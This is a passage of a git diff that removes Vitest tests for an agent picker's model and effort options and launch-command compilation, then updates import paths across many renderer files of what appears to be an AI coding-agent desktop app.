input.sessionOptions, - sessionOptionsOverrideAgentArgs: true - }) - process.stdout.write( - `${JSON.stringify({ - metric: 'canonical-quoted-ingress', - scope, - ingress, - captured, - selection, - saved, - reopened, - chatView, - savedProjection, - full, - savedCompiler: compile(savedProjection), - fullCompiler: compile(full) - })}\n` - ) - expect(reopened.current.argumentChoices).toBeUndefined() - expect(reopened.current.agentArgs).toBe(text) - expect(chatView).toMatchObject({ model: 'true', options: { effort: 'high' } }) - expect(savedProjection.chatSessionOptions).toEqual({ model: 'true', effort: 'high' }) - expect(full.chatSessionOptions).toEqual({ model: 'true', effort: 'high' }) - expect(savedProjection.sessionOptions).toEqual({ effort: 'high' }) - expect(savedProjection.agentArgs).toBe(text) - expect(full.agentArgs).toContain('model="true"') - expect(full.sessionOptions).toEqual({ effort: 'high' }) - expect(reopened.current.agentArgs).toBe(snapshot.current.agentArgs) - for (const model of ['true', 'gpt-5.5']) { - const picked = applyAgentPickerEdit(inventory, edited, { kind: 'choice', patch: { model } }) - expect(agentPickerPanelArguments(inventory, picked).choices.model).toBe(model) - expect( - picked.recipeEdits?.selection.source.authoredPreferences?.modelSelection?.model - ).toEqual({ agentId: 'codex', value: model }) - expect(picked.arguments).not.toContain(text) - } - const newer = applyAgentPickerEdit(inventory, edited, { - kind: 'arguments', - text: '-c model=latest --search' - }) - const removed = applyAgentPickerEdit(inventory, newer, { kind: 'remove-chip', key: 'model' }) - const removedSelection = applySourceControlPickerDraft(captured, inventory, removed) - expect(removed.pendingArguments).toBeUndefined() - expect(removedSelection.source.authoredPreferences?.modelSelection?.model).toEqual({ - agentId: 'codex', - value: null - }) - expect( - agentPickerPanelArguments(inventory, sourceControlPickerDraft(removedSelection, inventory)) - .choices.model - ).toBeUndefined() - expect(removed.arguments).not.toContain('latest') - expect(removed.arguments).toContain('--search') - } -) - -it('distinguishes group fallback, applicable null, foreign binding and deliberate model authority on initial source', () => { - const inventory: AgentPickerEntry = { - ...entry, - agent: 'codex', - structured: { model: 'chat-default' } - } - for (const [binding, expected] of [ - [undefined, 'true'], - [{ agentId: 'codex', value: null }, undefined], - [{ agentId: 'claude', value: null }, 'true'], - [{ agentId: 'claude', value: 'foreign-model' }, 'true'], - [{ agentId: 'codex', value: 'gpt-5.5' }, 'gpt-5.5'] - ] as const) { - const selection = canonicalSourceControlActionSelection({ - agentId: 'codex', - agentArgs: `-c 'model="true"'`, - launchPreferences: { - agentId: 'codex', - modelSelection: { - base: 'default', - ...(binding ? { model: binding } : {}), - options: { effort: { agentId: 'codex', value: 'high' } } - } - } - }) - const draft = sourceControlPickerDraft(selection, inventory) - const view = agentPickerPanelArguments(inventory, draft) - expect(view.choices.model).toBe(expected) - expect(draft.delegated?.includes('model')).toBe( - binding?.agentId === 'codex' && binding.value === null - ) - expect(applySourceControlPickerDraft(selection, inventory, draft)).toBe(selection) - expect(draft.arguments).toBe(`-c 'model="true"'`) - if (binding?.agentId === 'codex' && binding.value) { - const edited = applyAgentPickerEdit(inventory, draft, { - kind: 'choice', - patch: { options: { effort: 'low' } } - }) - expect(agentPickerPanelArguments(inventory, edited).choices.model).toBe(binding.value) - expect( - edited.recipeEdits?.selection.source.authoredPreferences?.modelSelection?.model - ).toEqual(binding) - } - } -}) - -it('retains a genuinely admitted saved model node through real effort editing, Save/reopen and initial/resume compilation', () => { - const base = getDefaultSettings('/tmp/picker-admitted-node') - const settings = { - ...base, - sourceControlAi: { - ...base.sourceControlAi!, - actions: { - fixChecks: { - agentId: 'codex' as const, - agentArgs: '--search', - argumentChoices: { - syntaxAgent: 'codex' as const, - nodes: [{ at: 0, text: '-m gpt-5.5' }] - } - } - } - } - } - const inventory: AgentPickerEntry = { - ...entry, - agent: 'codex', - arguments: '', - terminal: { permissionMode: 'own' }, - structured: {}, - catalog: { origin: 'unknown' } - } - const captured = captureSourceControlActionSelection({ actionId: 'fixChecks', settings }) - expect(captured.current.argumentChoices).toEqual({ - syntaxAgent: 'codex', - nodes: [{ at: 0, text: '-m gpt-5.5' }] - }) - const draft = sourceControlPickerDraft(captured, inventory) - expect(agentPickerPanelArguments(inventory, draft).choices.model).toBe('gpt-5.5') - const edited = applyAgentPickerEdit(inventory, draft, { - kind: 'choice', - patch: { options: { effort: 'high' } } - }) - const selection = applySourceControlPickerDraft(captured, inventory, edited) - const saved = saveSourceControlActionRecipe({ - target: { type: 'global' }, - settings, - actionId: 'fixChecks', - recipe: selectSourceControlActionRecipe(selection) - }) - if (!('sourceControlAi' in saved)) { - throw new Error('Expected global writer') - } - const reopened = captureSourceControlActionSelection({ - actionId: 'fixChecks', - settings: { ...settings, sourceControlAi: saved.sourceControlAi } - }) - expect(reopened.current.argumentChoices).toEqual(captured.current.argumentChoices) - const projection = projectSourceControlActionLaunch( - selectSourceControlActionRecipe(reopened), - 'codex', - { basePrompt: 'Fix checks' } - ) - expect(projection.sessionOptions).toEqual({ model: 'gpt-5.5', effort: 'high' }) - expect(projection.agentArgs).toBe('--search') - const compiled = resolveAgentLaunchCommand({ - agent: 'codex', - cmdOverrides: {}, - platform: 'linux', - shell: 'posix', - agentArgs: projection.agentArgs, - sessionOptions: projection.sessionOptions, - sessionOptionsOverrideAgentArgs: true - }) - expect(compiled).toMatchObject({ - ok: true, - command: - "codex '-c' 'disable_paste_burst=true' '--search' '-m' 'gpt-5.5' '-c' 'model_reasoning_effort=high'", - appliedSessionOptions: { model: 'gpt-5.5', effort: 'high' } - }) - if (!compiled.ok) { - throw new Error(compiled.error) - } - expect(compiled.resumeLaunch).toEqual({ agentCommand: "codex '--search'" }) -}) - -it.each([ - [ - 'codex', - '-m gpt-5.5', - { effort: 'future_effort' }, - [ - 'codex', - '-c', - 'disable_paste_burst=true', - '-m', - 'gpt-5.5', - '-c', - 'model_reasoning_effort=future_effort' - ], - { effort: 'future_effort' } - ], - [ - 'codex', - '-m future-model', - { effort: 'high' }, - [ - 'codex', - '-c', - 'disable_paste_burst=true', - '-m', - 'future-model', - '-c', - 'model_reasoning_effort=high' - ], - { effort: 'high' } - ], - [ - 'cursor', - '--model gpt-5.3-codex', - { effort: 'low', fastMode: 'true' }, - ['cursor-agent', '--model', 'gpt-5.3-codex-low-fast'], - { model: 'gpt-5.3-codex', effort: 'low', fastMode: 'true' } - ], - [ - 'cursor', - '--model claude-opus-4-8', - { effort: 'medium', thinking: 'true' }, - ['cursor-agent', '--model', 'claude-opus-4-8-thinking-medium'], - { model: 'claude-opus-4-8', effort: 'medium', thinking: 'true' } - ] -] as const)( - 'compiles current %s model context and deliberate dependent options without losing initial/resume intent', - async (agent, raw, options, expected, baseOptions) => { - const { tokenizeStartupCommand } = - await import('../../../../../shared/agent-launch/startup/tui-agent-startup-shell') - const inventory: AgentPickerEntry = { - ...entry, - agent, - arguments: raw, - terminal: { permissionMode: 'own' }, - structured: {}, - catalog: { origin: 'unknown' } - } - let draft = sourceControlPickerDraft( - canonicalSourceControlActionSelection({ agentId: agent, agentArgs: raw }), - inventory - ) - for (const [key, value] of Object.entries(options)) { - draft = applyAgentPickerEdit(inventory, draft, { - kind: 'choice', - patch: { options: { [key]: value } } - }) - } - const projection = agentPickerLaunchInputs(draft, inventory) - expect(projection.sessionOptions).toEqual(baseOptions) - const compiled = resolveAgentLaunchCommand({ - agent, - cmdOverrides: {}, - platform: 'linux', - shell: 'posix', - agentArgs: projection.agentArgs, - sessionOptions: projection.sessionOptions, - sessionOptionsOverrideAgentArgs: true - }) - if (!compiled.ok) { - throw new Error(compiled.error) - } - expect(tokenizeStartupCommand(compiled.command, 'posix')).toMatchObject({ - ok: true, - tokens: expected - }) - const { buildAgentResumeStartupPlan } = - await import('../../../../../shared/agent-launch/startup/tui-agent-resume-startup') - const resumed = buildAgentResumeStartupPlan({ - agent, - cmdOverrides: {}, - platform: 'linux', - shell: 'posix', - ...compiled.resumeLaunch, - providerSession: { - key: agent === 'cursor' ? 'conversation_id' : 'session_id', - id: 'provider-recorded-session' - } - }) - expect(resumed).not.toBeNull() - const resumeTokens = tokenizeStartupCommand(resumed!.launchCommand, 'posix') - if (!resumeTokens.ok) { - throw new Error(resumeTokens.error) - } - expect(resumeTokens.tokens).toContain('provider-recorded-session') - expect(resumeTokens.tokens).not.toContain('model_reasoning_effort=future_effort') - expect(resumeTokens.tokens).not.toContain('model_reasoning_effort=high') - if (agent === 'codex') { - expect(resumeTokens.tokens.filter((token) => token === '-m')).toHaveLength(1) - expect(resumeTokens.tokens).toContain(raw.split(' ')[1]) - } else { - expect(resumeTokens.tokens.filter((token) => token === '--model')).toHaveLength(0) - } - process.stdout.write( - `${JSON.stringify({ metric: 'dependent-initial-provider-resume', agent, raw, options, projection, compiled, resumed })}\n` - ) - } -) diff --git a/src/renderer/src/lib/source-control/ai/source-control-agent-picker.ts b/src/renderer/src/lib/source-control/ai/source-control-agent-picker.ts index 2730ce2a4ea..e0abb6ef815 100644 --- a/src/renderer/src/lib/source-control/ai/source-control-agent-picker.ts +++ b/src/renderer/src/lib/source-control/ai/source-control-agent-picker.ts @@ -13,7 +13,10 @@ import { } from '../../../../../shared/source-control/ai/source-control-launch-agent-selection' import { isTuiAgentEnabled } from '../../../../../shared/agent-launch/catalog/tui-agent-selection' import type { Repo } from '../../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../../shared/repository/repo-kind' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { AgentDetectionTarget } from '@/hooks/useDetectedAgents' diff --git a/src/renderer/src/lib/source-control/drafts/source-control-commit-draft-session.ts b/src/renderer/src/lib/source-control/drafts/source-control-commit-draft-session.ts index 12b403c6a7c..d2ff2d2761b 100644 --- a/src/renderer/src/lib/source-control/drafts/source-control-commit-draft-session.ts +++ b/src/renderer/src/lib/source-control/drafts/source-control-commit-draft-session.ts @@ -1,4 +1,7 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' type CommitDraftsByWorktree = Record diff --git a/src/renderer/src/lib/source-control/graph/git-graph-tab.ts b/src/renderer/src/lib/source-control/graph/git-graph-tab.ts index bc8b7233c8c..b6a287e13a1 100644 --- a/src/renderer/src/lib/source-control/graph/git-graph-tab.ts +++ b/src/renderer/src/lib/source-control/graph/git-graph-tab.ts @@ -27,7 +27,7 @@ import { runtimeEnvironmentSupportsCapability } from '@/runtime/rpc/compatibilit import { getSshTargetIdForExecutionHost, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' type ScopeState = WorktreeOperationRouteState & Pick, 'repos' | 'worktreesByRepo'> diff --git a/src/renderer/src/lib/source-control/review/hosted-review-repo-read.ts b/src/renderer/src/lib/source-control/review/hosted-review-repo-read.ts index 8f78f143b2d..9ccf33b0223 100644 --- a/src/renderer/src/lib/source-control/review/hosted-review-repo-read.ts +++ b/src/renderer/src/lib/source-control/review/hosted-review-repo-read.ts @@ -1,6 +1,6 @@ import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' import { hostedReviewRepoOwnerTarget } from '@/store/slices/hosted-review/hosted-review-cache-state' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { HostedReviewForBranchArgs, HostedReviewInfo diff --git a/src/renderer/src/lib/source-control/review/review-owner.ts b/src/renderer/src/lib/source-control/review/review-owner.ts index 0296b1a7135..fd95f9cbc7c 100644 --- a/src/renderer/src/lib/source-control/review/review-owner.ts +++ b/src/renderer/src/lib/source-control/review/review-owner.ts @@ -6,7 +6,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { findIndexedReviewRepository, hasIndexedRepository diff --git a/src/renderer/src/lib/terminal/appearance/terminal-theme.ts b/src/renderer/src/lib/terminal/appearance/terminal-theme.ts index 557d31bf3b0..9e6e578f5d9 100644 --- a/src/renderer/src/lib/terminal/appearance/terminal-theme.ts +++ b/src/renderer/src/lib/terminal/appearance/terminal-theme.ts @@ -12,7 +12,7 @@ import { disambiguatedPluginContentLabels } from '../../../components/plugins/presentation/plugin-name-disambiguation' import type { ITheme } from '@xterm/xterm' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { PluginTerminalThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact' import type { Translate } from '../../../i18n/use-translate' diff --git a/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit.ts b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit.ts index 4226df835ad..9ed23bab8da 100644 --- a/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit.ts +++ b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit.ts @@ -1,6 +1,9 @@ import type { AppState } from '@/store/types' import { terminalQuickCommandAgentPromptMaxLength } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-prompt-limit' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status' /** An older host's agent-prompt character cap, read from its live status; `null` for none. */ diff --git a/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-project-scope.ts b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-project-scope.ts index 85532587941..d4d156194ea 100644 --- a/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-project-scope.ts +++ b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-project-scope.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getTerminalQuickCommandScope } from '../../../../../shared/terminal/quick-commands/terminal-quick-commands' import type { ProjectHostSetup } from '../../../../../shared/project/project-types' import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types' diff --git a/src/renderer/src/lib/terminal/themes/terminal-plugin-palettes.ts b/src/renderer/src/lib/terminal/themes/terminal-plugin-palettes.ts index 216f4a79301..e1180cb044a 100644 --- a/src/renderer/src/lib/terminal/themes/terminal-plugin-palettes.ts +++ b/src/renderer/src/lib/terminal/themes/terminal-plugin-palettes.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TerminalPluginPalette } from '../../../../../shared/terminal-themes/terminal-color-overrides' import type { PluginTerminalThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact' diff --git a/src/renderer/src/lib/work-items/github/github-source-runtime-context.ts b/src/renderer/src/lib/work-items/github/github-source-runtime-context.ts index b0b07a9dcd3..3298d1a0043 100644 --- a/src/renderer/src/lib/work-items/github/github-source-runtime-context.ts +++ b/src/renderer/src/lib/work-items/github/github-source-runtime-context.ts @@ -2,10 +2,13 @@ import { getRepoExecutionHostId, toRuntimeExecutionHostId, parseExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import { repoMatchesHostIdentity } from '@/store/repos/repo-host-identity' -import type { ExecutionHostId, ParsedExecutionHost } from '../../../../../shared/execution-host' +import type { + ExecutionHostId, + ParsedExecutionHost +} from '../../../../../shared/execution-host/execution-host' import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context' import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/lib/work-items/github/github-task-observation.ts b/src/renderer/src/lib/work-items/github/github-task-observation.ts index 1a1d8901a92..dfb37f65fc4 100644 --- a/src/renderer/src/lib/work-items/github/github-task-observation.ts +++ b/src/renderer/src/lib/work-items/github/github-task-observation.ts @@ -10,7 +10,7 @@ import { areTaskSourceContextsEqual } from '../../../../../shared/work-items/task-source-context' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { parseHostAuthorityKey } from '../../../../../shared/execution-host/host-authority' diff --git a/src/renderer/src/lib/work-items/github/github-task-target.ts b/src/renderer/src/lib/work-items/github/github-task-target.ts index 9cef8fa2eb4..8d1dd0603cb 100644 --- a/src/renderer/src/lib/work-items/github/github-task-target.ts +++ b/src/renderer/src/lib/work-items/github/github-task-target.ts @@ -12,7 +12,7 @@ import { import { parseGitHubIssueOrPRLink } from '../../../../../shared/github/repositories/links' import { githubRepoIdentityKey } from '../../../../../shared/github/repositories/repository-identity-key' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { parseHostAuthorityKey } from '../../../../../shared/execution-host/host-authority' import type { AppState } from '@/store/types' import { getWorkItemRepo } from '../work-item-repo-row' diff --git a/src/renderer/src/lib/work-items/task-repo-source-context.ts b/src/renderer/src/lib/work-items/task-repo-source-context.ts index 246bc62fcaa..0308dc35dbf 100644 --- a/src/renderer/src/lib/work-items/task-repo-source-context.ts +++ b/src/renderer/src/lib/work-items/task-repo-source-context.ts @@ -5,7 +5,7 @@ import { type TaskSourceContext } from '../../../../shared/work-items/task-source-context' import { projectHostSetupProjectionFromRepos } from '../../../../shared/project/host-setup/project-host-setup-projection' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' export function getTaskPageRepoSourceContext( repo: Repo | null | undefined, provider: 'github' | 'gitlab', diff --git a/src/renderer/src/lib/work-items/task-source-runtime-target.ts b/src/renderer/src/lib/work-items/task-source-runtime-target.ts index a70e04c05a9..bf1519a68d9 100644 --- a/src/renderer/src/lib/work-items/task-source-runtime-target.ts +++ b/src/renderer/src/lib/work-items/task-source-runtime-target.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { TaskSourceContext } from '../../../../shared/work-items/task-source-context' import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/lib/work-items/work-item-repo-row.ts b/src/renderer/src/lib/work-items/work-item-repo-row.ts index 30dd5524ee2..7080d8bc092 100644 --- a/src/renderer/src/lib/work-items/work-item-repo-row.ts +++ b/src/renderer/src/lib/work-items/work-item-repo-row.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' /** A fetched GitHub or GitLab item's link back to the repo row that returned it. */ diff --git a/src/renderer/src/lib/workspace-ports/workspace-port-localhost-label-selector.ts b/src/renderer/src/lib/workspace-ports/workspace-port-localhost-label-selector.ts index dc0dc04bc95..573faf530ab 100644 --- a/src/renderer/src/lib/workspace-ports/workspace-port-localhost-label-selector.ts +++ b/src/renderer/src/lib/workspace-ports/workspace-port-localhost-label-selector.ts @@ -1,5 +1,5 @@ import type { LocalhostWorktreeLabelRoute } from '../../../../shared/workspace/ports/localhost-worktree-labels' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Project } from '../../../../shared/project/project-types' import type { Repo } from '../../../../shared/repository/repo-types' import type { WorkspacePort } from '../../../../shared/workspace/ports/workspace-ports' diff --git a/src/renderer/src/lib/workspace-ports/workspace-port-localhost-label.ts b/src/renderer/src/lib/workspace-ports/workspace-port-localhost-label.ts index 8f895b95501..debf0627024 100644 --- a/src/renderer/src/lib/workspace-ports/workspace-port-localhost-label.ts +++ b/src/renderer/src/lib/workspace-ports/workspace-port-localhost-label.ts @@ -1,5 +1,5 @@ import type { LocalhostWorktreeLabelRoute } from '../../../../shared/workspace/ports/localhost-worktree-labels' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Project } from '../../../../shared/project/project-types' import type { Repo } from '../../../../shared/repository/repo-types' import type { WorkspacePort } from '../../../../shared/workspace/ports/workspace-ports' diff --git a/src/renderer/src/lib/workspace-ports/workspace-port-scan-client.ts b/src/renderer/src/lib/workspace-ports/workspace-port-scan-client.ts index 44256115499..0161852882a 100644 --- a/src/renderer/src/lib/workspace-ports/workspace-port-scan-client.ts +++ b/src/renderer/src/lib/workspace-ports/workspace-port-scan-client.ts @@ -13,7 +13,7 @@ import type { WorkspacePortPageProbeResult, WorkspacePortScanResult } from '../../../../shared/workspace/ports/workspace-ports' -import { normalizeExecutionHostId } from '../../../../shared/execution-host' +import { normalizeExecutionHostId } from '../../../../shared/execution-host/execution-host' import { WORKSPACE_PORTS_HOST_SCOPED_RUNTIME_CAPABILITY } from '../../../../shared/remote-runtime/protocol/workspace-ports-runtime-capabilities' import { translate } from '@/i18n/i18n' diff --git a/src/renderer/src/lib/workspace/activation/active-worktree-removal-successor.ts b/src/renderer/src/lib/workspace/activation/active-worktree-removal-successor.ts index a23cfc7abe0..4a54c180a9b 100644 --- a/src/renderer/src/lib/workspace/activation/active-worktree-removal-successor.ts +++ b/src/renderer/src/lib/workspace/activation/active-worktree-removal-successor.ts @@ -18,7 +18,7 @@ import { isRuntimeOwnedSshTargetId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../shared/worktree/types' import { isWorktreeRetiredByRemoval } from '../../../../../shared/worktree/removal/removal-visibility' diff --git a/src/renderer/src/lib/workspace/activation/initial-surface/worktree-initial-terminal-seeding.ts b/src/renderer/src/lib/workspace/activation/initial-surface/worktree-initial-terminal-seeding.ts index 78592a6d956..84ba85f15be 100644 --- a/src/renderer/src/lib/workspace/activation/initial-surface/worktree-initial-terminal-seeding.ts +++ b/src/renderer/src/lib/workspace/activation/initial-surface/worktree-initial-terminal-seeding.ts @@ -2,7 +2,7 @@ import type { WorktreeDefaultTabsLaunch, WorktreeSetupLaunch } from '../../../../../../shared/worktree/creation/launch-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { shouldAutoCreateInitialTerminal } from '@/components/terminal/initial-terminal' import { hasSplitLandingGroup } from '@/store/slices/tabs/split-landing-groups' import { isTerminalWorkspaceEmptiedOnPurpose } from '../../../../../../shared/workspace-layout/terminal-surfaces/closed-terminal-tab-tombstones' diff --git a/src/renderer/src/lib/workspace/activation/sidebar-worktree-activation.ts b/src/renderer/src/lib/workspace/activation/sidebar-worktree-activation.ts index f7c09b6d7eb..a5d5fa348f2 100644 --- a/src/renderer/src/lib/workspace/activation/sidebar-worktree-activation.ts +++ b/src/renderer/src/lib/workspace/activation/sidebar-worktree-activation.ts @@ -5,7 +5,7 @@ import { import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { toast } from 'sonner' import { translate } from '@/i18n/i18n' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { EphemeralVmWorkspaceLifecycleResult } from '../../../../../shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtimes' import { ephemeralVmErrorText } from '@/runtime/ephemeral-vm/ephemeral-vm-error-copy' import { ephemeralVmFailureFromError } from '../../../../../shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-failure-copy' diff --git a/src/renderer/src/lib/workspace/activation/workspace-navigation-toast-action.tsx b/src/renderer/src/lib/workspace/activation/workspace-navigation-toast-action.tsx index 00999db02f2..2a55e2f982e 100644 --- a/src/renderer/src/lib/workspace/activation/workspace-navigation-toast-action.tsx +++ b/src/renderer/src/lib/workspace/activation/workspace-navigation-toast-action.tsx @@ -1,7 +1,7 @@ import { ExternalLink } from 'lucide-react' import { translate } from '@/i18n/i18n' import { activateAndRevealWorkspace } from '@/lib/workspace/activation/worktree-activation' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' export function workspaceNavigationToastAction({ workspaceId, diff --git a/src/renderer/src/lib/workspace/activation/worktree-activation-created-agent.test-fixture.ts b/src/renderer/src/lib/workspace/activation/worktree-activation-created-agent.test-fixture.ts index 018db7570db..d14a66abcfd 100644 --- a/src/renderer/src/lib/workspace/activation/worktree-activation-created-agent.test-fixture.ts +++ b/src/renderer/src/lib/workspace/activation/worktree-activation-created-agent.test-fixture.ts @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import path from 'node:path' import { vi } from 'vitest' import type { Worktree } from '../../../../../shared/worktree/types' diff --git a/src/renderer/src/lib/workspace/activation/worktree-activation-outcome.ts b/src/renderer/src/lib/workspace/activation/worktree-activation-outcome.ts index 701339e36f6..48e5e434f42 100644 --- a/src/renderer/src/lib/workspace/activation/worktree-activation-outcome.ts +++ b/src/renderer/src/lib/workspace/activation/worktree-activation-outcome.ts @@ -1,7 +1,7 @@ import type { WorktreeSetupLaunch } from '../../../../../shared/worktree/creation/launch-types' import { toast } from 'sonner' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { PendingSidebarWorktreeReveal } from '@/store/slices/ui/ui-slice-contract-core' import type { WorktreeStartupPayload } from '../creation/worktree-startup-payload' import type { WorktreeActivationSurfaceSelection } from './worktree-activation-surface-selection' diff --git a/src/renderer/src/lib/workspace/activation/worktree-activation-pty-inventory.ts b/src/renderer/src/lib/workspace/activation/worktree-activation-pty-inventory.ts index ca786b56033..2030cc35367 100644 --- a/src/renderer/src/lib/workspace/activation/worktree-activation-pty-inventory.ts +++ b/src/renderer/src/lib/workspace/activation/worktree-activation-pty-inventory.ts @@ -1,5 +1,5 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { PtyListedSession, PtySessionListScope diff --git a/src/renderer/src/lib/workspace/activation/worktree-activation-store-contract.ts b/src/renderer/src/lib/workspace/activation/worktree-activation-store-contract.ts index c7677902602..6b46a39cc05 100644 --- a/src/renderer/src/lib/workspace/activation/worktree-activation-store-contract.ts +++ b/src/renderer/src/lib/workspace/activation/worktree-activation-store-contract.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Tab } from '../../../../../shared/workspace-layout/tab-groups/tab-types' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { diff --git a/src/renderer/src/lib/workspace/activation/worktree-activation-surface-selection.ts b/src/renderer/src/lib/workspace/activation/worktree-activation-surface-selection.ts index f98aafb7a1a..a3cab6d5fa2 100644 --- a/src/renderer/src/lib/workspace/activation/worktree-activation-surface-selection.ts +++ b/src/renderer/src/lib/workspace/activation/worktree-activation-surface-selection.ts @@ -3,7 +3,7 @@ import type { WorktreeDefaultTabsLaunch, WorktreeSetupLaunch } from '../../../../../shared/worktree/creation/launch-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { PendingSidebarWorktreeReveal } from '@/store/slices/ui/ui-slice-contract-core' import type { WorktreeStartupPayload } from '@/lib/workspace/creation/worktree-startup-payload' import type { IssueCommandLaunch } from '@/lib/workspace/activation/initial-surface/worktree-setup-issue-command-queue' diff --git a/src/renderer/src/lib/workspace/activation/worktree-activation-visit.ts b/src/renderer/src/lib/workspace/activation/worktree-activation-visit.ts index 0ce929e79d5..2d748f4556b 100644 --- a/src/renderer/src/lib/workspace/activation/worktree-activation-visit.ts +++ b/src/renderer/src/lib/workspace/activation/worktree-activation-visit.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../../shared/sidebar-list/feed/sidebar-inputs-switch' import type { AppState } from '@/store/types' import type { ActiveWorktreeStateTransition } from '@/store/slices/worktrees/session/worktree-selection-contract' diff --git a/src/renderer/src/lib/workspace/activation/worktree-activation.test-fixture.ts b/src/renderer/src/lib/workspace/activation/worktree-activation.test-fixture.ts index b62759c18a4..88e0b22a8cc 100644 --- a/src/renderer/src/lib/workspace/activation/worktree-activation.test-fixture.ts +++ b/src/renderer/src/lib/workspace/activation/worktree-activation.test-fixture.ts @@ -1,6 +1,6 @@ import { afterEach, vi } from 'vitest' import type { Mock } from 'vitest' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import { 